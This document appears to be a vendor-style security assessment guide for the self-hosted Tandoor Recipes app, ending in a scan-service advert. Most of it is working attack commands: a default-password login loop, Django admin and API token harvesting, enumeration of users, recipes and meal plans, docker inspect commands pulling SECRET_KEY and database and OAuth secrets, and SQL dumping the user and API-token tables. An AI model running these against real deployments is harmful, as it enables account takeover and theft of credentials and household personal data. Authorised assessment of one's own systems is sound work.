Tandoor Recipes is a widely deployed self-hosted recipe management application — households and organizations use it to store recipes, plan meals, and generate shopping lists. Key assessment areas: SECRET_KEY is the Django session signing key enabling admin session forgery; the Django admin panel at /admin/ with default or weak credentials provides full database access; API tokens enable full recipe library, meal plan, and shopping list access; and the PostgreSQL database stores all recipes, nutritional data, and user meal planning information. This guide covers systematic Tandoor Recipes security assessment.
# Tandoor Recipes — default credentials and Django admin testing
TANDOOR_URL="https://recipes.example.com"
# Tandoor creates an initial superuser — test common weak passwords
for CRED in "admin:admin" "admin:password" "tandoor:tandoor" "admin:recipes123"; do
USER=$(echo $CRED | cut -d: -f1)
PASS=$(echo $CRED | cut -d: -f2)
# Get CSRF token first
CSRF=$(curl -s -c /tmp/cjar "${TANDOOR_URL}/accounts/login/" 2>/dev/null | \
grep -oP "csrfmiddlewaretoken.*?value=\"\K[^\"]+")
RESULT=$(curl -s -b /tmp/cjar -c /tmp/cjar -L \
-X POST "${TANDOOR_URL}/accounts/login/" \
-d "username=${USER}&password=${PASS}&csrfmiddlewaretoken=${CSRF}" \
-w "%{http_code}" -o /dev/null 2>/dev/null)
echo "${USER}/${PASS}: HTTP ${RESULT}"
done
# Django admin panel — check access
curl -s -b /tmp/cjar "${TANDOOR_URL}/admin/" 2>/dev/null | \
grep -c "Site administration" && echo "ADMIN ACCESS GRANTED"
# API token acquisition via Django admin
# If admin access granted — create API token for any user
curl -s -b /tmp/cjar "${TANDOOR_URL}/admin/knox/authtoken/" 2>/dev/null | \
grep -oP 'token-key.*?\K[a-f0-9]{8}' | head -5
# REST API — get API token for the authenticated user
CSRF=$(curl -s -c /tmp/apijar "${TANDOOR_URL}/api/" 2>/dev/null | \
grep -oP 'csrfToken.*?\K[a-f0-9]{64}')
curl -s -b /tmp/cjar -c /tmp/apijar \
-X POST "${TANDOOR_URL}/api/auth/login/" \
-H "X-CSRFToken: ${CSRF}" \
-H "Content-Type: application/json" \
-d "{\"username\":\"admin\",\"password\":\"admin\"}" 2>/dev/null | \
python3 -c "import json,sys; d=json.load(sys.stdin); print(f'Token: {d.get(\"key\",\"\")}')" 2>/dev/null
# Tandoor Recipes API token — recipe and meal plan access
TANDOOR_URL="https://recipes.example.com"
API_TOKEN="your-tandoor-api-token"
# Get all recipes
curl -s "${TANDOOR_URL}/api/recipe/?page_size=100" \
-H "Authorization: Token ${API_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
recipes = d.get('results',[])
total = d.get('count',0)
print(f'Recipes: {total} (showing {len(recipes)})')
for r in recipes[:10]:
print(f' [{r.get(\"id\")}] {r.get(\"name\")}')
print(f' keywords={[k.get(\"name\") for k in r.get(\"keywords\",[])[:3]]}')
print(f' servings={r.get(\"servings\")} rating={r.get(\"rating\")}')
" 2>/dev/null
# Get meal plans for all users (admin API)
curl -s "${TANDOOR_URL}/api/meal-plan/?page_size=50" \
-H "Authorization: Token ${API_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
plans = d.get('results',[])
print(f'Meal plans: {d.get(\"count\",0)}')
for p in plans[:10]:
print(f' [{p.get(\"id\")}] {p.get(\"meal_name\")} on {p.get(\"date\")}')
print(f' recipe={p.get(\"recipe\",{}).get(\"name\")} servings={p.get(\"servings\")}')
" 2>/dev/null
# Get shopping lists
curl -s "${TANDOOR_URL}/api/shopping-list/?page_size=50" \
-H "Authorization: Token ${API_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
lists = d.get('results',[])
print(f'Shopping lists: {d.get(\"count\",0)}')
for sl in lists[:5]:
print(f' [{sl.get(\"id\")}] created={str(sl.get(\"created_at\",\"\"))[:10]}')
for entry in sl.get('entries',[])[:5]:
print(f' {entry.get(\"amount\")} {entry.get(\"unit\",{}).get(\"name\")} {entry.get(\"ingredient\",{}).get(\"name\")}')
" 2>/dev/null
# User enumeration
curl -s "${TANDOOR_URL}/api/user/?page_size=50" \
-H "Authorization: Token ${API_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
users = d.get('results',[])
print(f'Users: {d.get(\"count\",0)}')
for u in users:
print(f' [{u.get(\"id\")}] {u.get(\"username\")} ({u.get(\"first_name\")} {u.get(\"last_name\")})')
print(f' admin={u.get(\"is_superuser\")} active={u.get(\"is_active\")}')
" 2>/dev/null
# Tandoor Recipes SECRET_KEY and database extraction
# Docker environment variables
docker inspect tandoor_recipes_nginx 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
for c in d:
for e in c.get('Config',{}).get('Env',[]):
if any(k in e for k in ['SECRET','PASSWORD','DB_','POSTGRES','SOCIALACCOUNT']):
print(e)
" 2>/dev/null
docker inspect tandoor_recipes_web 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
for c in d:
for e in c.get('Config',{}).get('Env',[]):
if any(k in e for k in ['SECRET_KEY','POSTGRES','DB_','OAUTH','SOCIAL']):
print(e)
" 2>/dev/null
# SECRET_KEY — Django session signing key
# POSTGRES_HOST, POSTGRES_DB, POSTGRES_USER, POSTGRES_PASSWORD
# SOCIALACCOUNT_PROVIDERS — OAuth config with client_id and secret
# PostgreSQL — all Tandoor data
DB_URL="postgresql://tandoor:PASSWORD@localhost/tandoor"
psql "$DB_URL" 2>/dev/null << 'EOF'
-- All user accounts with admin status
SELECT u.id, u.username,
u.email,
u.first_name, u.last_name,
u.is_superuser, u.is_staff,
u.last_login, u.date_joined
FROM auth_user u
ORDER BY u.is_superuser DESC, u.date_joined ASC
LIMIT 20;
EOF
-- All recipes with content
psql "$DB_URL" 2>/dev/null << 'EOF'
SELECT r.id, r.name,
r.description,
LENGTH(r.description) as desc_length,
r.servings, r.rating,
r.source_url,
u.username as created_by,
r.created_at
FROM recipe_recipe r
LEFT JOIN auth_user u ON r.created_by_id = u.id
ORDER BY r.created_at DESC
LIMIT 20;
EOF
-- All API tokens (knox tokens)
psql "$DB_URL" 2>/dev/null << 'EOF'
SELECT t.token_key,
t.created,
t.expiry,
u.username, u.email
FROM knox_authtoken t
JOIN auth_user u ON t.user_id = u.id
ORDER BY t.created DESC
LIMIT 10;
EOF
| Security Test | Method | Risk |
|---|---|---|
| SECRET_KEY extraction and Django session cookie forgery | Read .env SECRET_KEY — forge Django session cookies for the superuser account; full admin panel access to all data models including users, recipes, meal plans, and API tokens; CSRF token forgery for all state-changing operations | High |
| Django admin default credential testing | POST /accounts/login/ with admin/admin — access to full Django admin at /admin/ enabling direct database record manipulation, user account creation, and API token generation for any user | High |
| API token extraction from knox_authtoken table | SELECT token_key FROM knox_authtoken — all active API tokens; each token provides recipe, meal plan, and shopping list access for the associated user; tokens do not expire by default | High |
| Meal plan and dietary preference data access via API | GET /api/meal-plan/ with API token — complete meal planning data revealing dietary restrictions, food preferences, and daily eating patterns; PII if accessed for other users | Medium |
| User enumeration via API endpoint | GET /api/user/ with authenticated token — all user accounts with usernames, email addresses, and admin status; used to target accounts for credential attacks or phishing | Medium |
Ironimo tests Tandoor Recipes deployments for SECRET_KEY Django session cookie forgery, Django admin default credential testing (/admin/ access), knox_authtoken table API token extraction, meal plan and dietary preference data access, user enumeration via API, PostgreSQL recipe and user data extraction, Docker SECRET_KEY/POSTGRES_PASSWORD/SOCIALACCOUNT_PROVIDERS credential exposure, OAuth provider client secret extraction, recipe source_url sensitive content analysis, and Knox token expiration policy assessment.
Start free scan